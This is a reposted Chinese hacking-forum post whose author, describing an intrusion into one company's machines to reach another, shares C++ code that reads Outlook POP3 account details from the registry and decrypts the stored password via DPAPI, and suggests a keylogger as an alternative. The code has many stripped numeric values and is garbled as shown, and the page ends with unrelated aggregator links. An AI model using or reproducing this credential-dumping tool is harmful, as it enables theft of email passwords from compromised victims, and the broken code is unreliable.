原文连接:https://forum.90sec.org/forum.php?mod=viewthread&tid=8410

作者:Agile

用过OUTLOOK的人都知道,OUTLOOK的密码会以二进制的方式保存在注册表里,而我们只要找到注册表的值,是可以直接解密成铭文的。
这几天一直在搞一台个人机,这台机器关系人物是这样的。

A集团。

B集团。

我已经控制了B集团,但是B集团里有人还在A集团里干事,我比较喜欢A集团,所以得把B集团的远程访问内部的账户密码难道,其中就包括啦 OUTLOOK的密码。

但是一般用户在设置的时候,OUTLOOK密码是默认记住的,以下是几种办法:

OUTLOOK密码保存那儿,方式一般分3种把?(如果说错了请见谅)

1:IMAP
2:POP3
3:SMTP

今天研究了一天,觉得还是没问题的,办法如下:

Ps:很多人说网上工具不少,工具确实不少,但是你知道工具原理是怎么做的吗? 工具免杀吗?工具有后门吗? 这些都是一个问题,所以我才写这个小工具

1:找到PASSWORD的值,删了,键盘记录,直接记录下了。

2:直接找到地址,解密PASSWORD的值

目前我就想到这2种方式,本来之前zcgonvh和我说的时候,我说:不能直接把注册表值DUMP本地来破解吗?

zcgonvh  的回复是:不可以,必须在目标机器目标用户解密
dpapi用的是rsa/dsa+3des/aes,默认是rsa+3des。本地有一个与用户sid、机器全局guid关联的key用作解密,即使拷出来由于不同机器的用户sid和guid不同也会导致无效,光复制数据的话肯定是解密不了的。

所以这种方式我也没试过。

代码写的很粗糙,因为基础不行,所以给一些需要的人用。
Code:

#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <cstdlib>
#include <stdio.h>
using namespace std;
#pragma comment(lib, "crypt32.lib") WINCRYPT32API
BOOL
WINAPI
CryptUnprotectData(
__in DATA_BLOB* pDataIn, // in encr blob
__deref_opt_out_opt LPWSTR* ppszDataDescr, // out
__in_opt DATA_BLOB* pOptionalEntropy,
__reserved PVOID pvReserved,
__in_opt CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
__in DWORD dwFlags,
__out DATA_BLOB* pDataOut
); void opt(char* prog)
{
printf("Welcome [url=http://www.90sec.org]www.90sec.org[/url]\r\n");
printf("[-]:%s Get_pop3 passwords\r\n",prog);
} int main(int argc,char* argv[])
{
opt(argv[]);
printf("\r\n");
HKEY hKey;
LPCTSTR lpRun = L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Test\\9375CFF0413111d3B88A00104B2A6676\\00000002";
//READ POP3 DATA define
//----------------------------------------
DWORD sizeBuff = ; //read length
DWORD dwtype = REG_BINARY; // reg type
BYTE reBuff[] = {}; //save string length
long lRet; //Reg return values
BYTE SmtpServer[] = {}; //read reg String length
DWORD SMtplen = ; //DWORD reg read length
BYTE SmtpUser[] = {};//read reg String length
DWORD SMtpUserlen = ; //DWORD reg read length
//------------------------------------------ lRet= RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, , KEY_READ, &hKey); //open reg
if (lRet != ERROR_SUCCESS)
{
printf("RegOpenKeyEx Failed\r\n");
return ;
}else
{
printf("RegOpenKeyEx Ing.....\r\n");
} if (RegQueryValueEx(hKey,L"POP3 User",,&dwtype,SmtpUser,&SMtpUserlen) == ERROR_SUCCESS) //query Pop3 Server address
{
//cout << "Smtp User:" << SmtpServer << endl;
printf("POP3 User:%S\r\n",SmtpUser);//print Pop3 user
} if (RegQueryValueEx(hKey,L"POP3 Server",,&dwtype,SmtpServer,&SMtplen) == ERROR_SUCCESS) //query Pop3 Server address
{
//cout << "Smtp User:" << SmtpServer << endl;
printf("Smtp Server:%S\r\n",SmtpServer);//print server address
} if(RegQueryValueEx(hKey,L"POP3 Password",,&dwtype,reBuff,&sizeBuff) == ERROR_SUCCESS) //query POP3 password
{
DATA_BLOB DataPassword;
DATA_BLOB DataOutput;
DataPassword.cbData = sizeBuff -;
DataPassword.pbData = &reBuff[];
if(CryptUnprotectData(&DataPassword,,,,,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt pop3 password
{
//cout << DataOutput.pbData << endl;
wcout << "POP3 Password: " << (wchar_t*)DataOutput.pbData; //print password
}else
{
cout << "Read error\r\n" << endl; //error
return ;
}
return ;
} RegCloseKey(hKey);
return ;
}

如果是其他方式,改改代码就好了,就是路径问题。没有遍历注册表,查找值,有功底的改改把。
具体可以看这儿:http://securityxploded.com/outlookpasswordsecrets.php

VC 解密OUTLOOK pop3保存注册表密码的更多相关文章

  1. 注册表对比工具(Regshot) V2.0.1 中文绿色版

    软件名称: 注册表对比工具(Regshot)软件语言: 简体中文授权方式: 免费软件运行环境: Win7 / Vista / WinXP软件大小: 263KB图片预览: 软件简介:Regshot 是一 ...

  2. 10#Windows注册表的那些事儿

    引言 用了多年的Windows系统,其实并没有对Windows系统进行过深入的了解,也正是由于Windows系统不用深入了解就可以简单上手所以才有这么多人去使用.笔者是做软件开发的,使用的基本都是Wi ...

  3. [原创]K8飞刀20160613 Plesk密码 & 注册表16进制转换 & Html实体解密

    K8飞刀  by K8拉登哥哥@[K8搞基大队]博客: http://qqhack8.blog.163.com 简介: K8飞刀是一款多功能的安全测试工具. Hacker Swiss Army Kni ...

  4. VC++ MFC中如何将应用程序的配置信息保存到注册表中(二)

    在上一篇中介绍了几个写入注册表数据和读取注册表数据的接口,并介绍了使用方法. 这一片教你如何使得你的应用程序在下次打开时保持上一次关闭前的状态. 在上一篇添加的代码的基础上,要添加WM_CLOSE消息 ...

  5. vc读写注册表

    注册表是Windows重要组成部分,注册表记录了大量有关电脑软硬件的信息.注册表中的值通过其名称标识.值名称由与键名相同的字符组成.值本身可以是字符串.二进制数据或者是32位无符号值.在这里我们主要运 ...

  6. java如何操作注册表(Preferences类)(在windows的注册表中保存、读取)

    我们经常需要将我们的程序运行中的一些信息(比如在选项对话框中的设置)记录下来,以做便再次运行的时候不用再重写填写这些数据.这对改善软件的人机可用性方面是很有用的.比如:数据库监控.日志工具,JDBMo ...

  7. c# asp.net 鼠标改变控件坐标位置,更改控件坐标,注册表保存读取,打印,查找局域网内打印机等等收集

    界面虽然被我弄的很难看,但功能还可以 里边注册表的路径自己设置一下,或者加一个创建注册表的语句,不然会报错 前台: <%@ Page Language="C#" AutoEv ...

  8. Win10注册表无法保存对权限所作的更改拒绝访问

    在对系统的安全控制得越来越多的情况下,要对注册表的关键数据进行修改是件挺麻烦的事,时不时会弹出无法保存对xxxxxx权限所作的更改,拒绝访问,操作产生错误,操作出现错误的提示,这时怎么办呢?这里就最近 ...

  9. C#实现在注册表中保存信息

    C#实现在注册表中保存信息 最近做的项目需要在注册表中记录一些用户设置,方便在程序下次启动时读取设置,应用上次用户保存的设置,挺简单的. 写出来,方便记忆,以后要用,可以直接改改就能用. 1 usin ...

随机推荐

  1. Hibernate入门案例 增删改

    一.Hibernate入门案例剖析: ①创建实体类Student 并重写toString方法 public class Student { private Integer sid; private I ...

  2. 【转】Hive配置文件中配置项的含义详解(收藏版)

    http://www.aboutyun.com/thread-7548-1-1.html 这里面列出了hive几乎所有的配置项,下面问题只是说出了几种配置项目的作用.更多内容,可以查看内容问题导读:1 ...

  3. UVA 12232 Exclusive-OR(并查集+思想)

    题意:给你n个数,接着三种操作: I p v :告诉你 Xp = v I p q v :告诉你 Xp ^ Xq = v Q k p1 p2 … pk:问你k个数连续异或的结果 注意前两类操作可能会出现 ...

  4. java 大数计算

    这几天做了几道用大数的题,发现java来做大数运算十分方便.对acmer来说是十分实用的 1.valueOf(parament); 将参数转换为制定的类型 比如 int a=3; BigInteger ...

  5. 在C#程序中实现插件架构

    阅读提示:这篇文章将讲述如何利用C#奇妙的特性,实现插件架构,用插件(plug-ins)机制建立可扩展的解决方案. 在.NET框架下的C#语言,和其他.NET语言一样提供了很多强大的特性和机制.其中一 ...

  6. 廖雪峰js教程笔记9 json

    JSON是JavaScript Object Notation的缩写,它是一种数据交换格式. 在JSON出现之前,大家一直用XML来传递数据.因为XML是一种纯文本格式,所以它适合在网络上交换数据.X ...

  7. hdu1078 dp(递推)+搜索

    题目链接:http://acm.split.hdu.edu.cn/showproblem.php?pid=1078 题意:老鼠从(1.1)点出发,每次最多只能走K步,而且下一步走的位置的值必须必当前值 ...

  8. Uva 129 Krypton Factor

    0.这道题的输出 处理起来挺麻烦的 以后类似的可以借鉴一下 ;i<cur;i++) { && i%==) printf("\n%c",a[i]); & ...

  9. 页面内容排序插件jSort的使用

        当页面列表内容很多的时候,我们可能需要将内容按照某个方式进行排序,比如按照字母或者大小等排序.本文将使用排序插件jSort来对页面内容进行排序. jSort插件可以对页面任何内容进行排序(ta ...

  10. 餐厅系统app版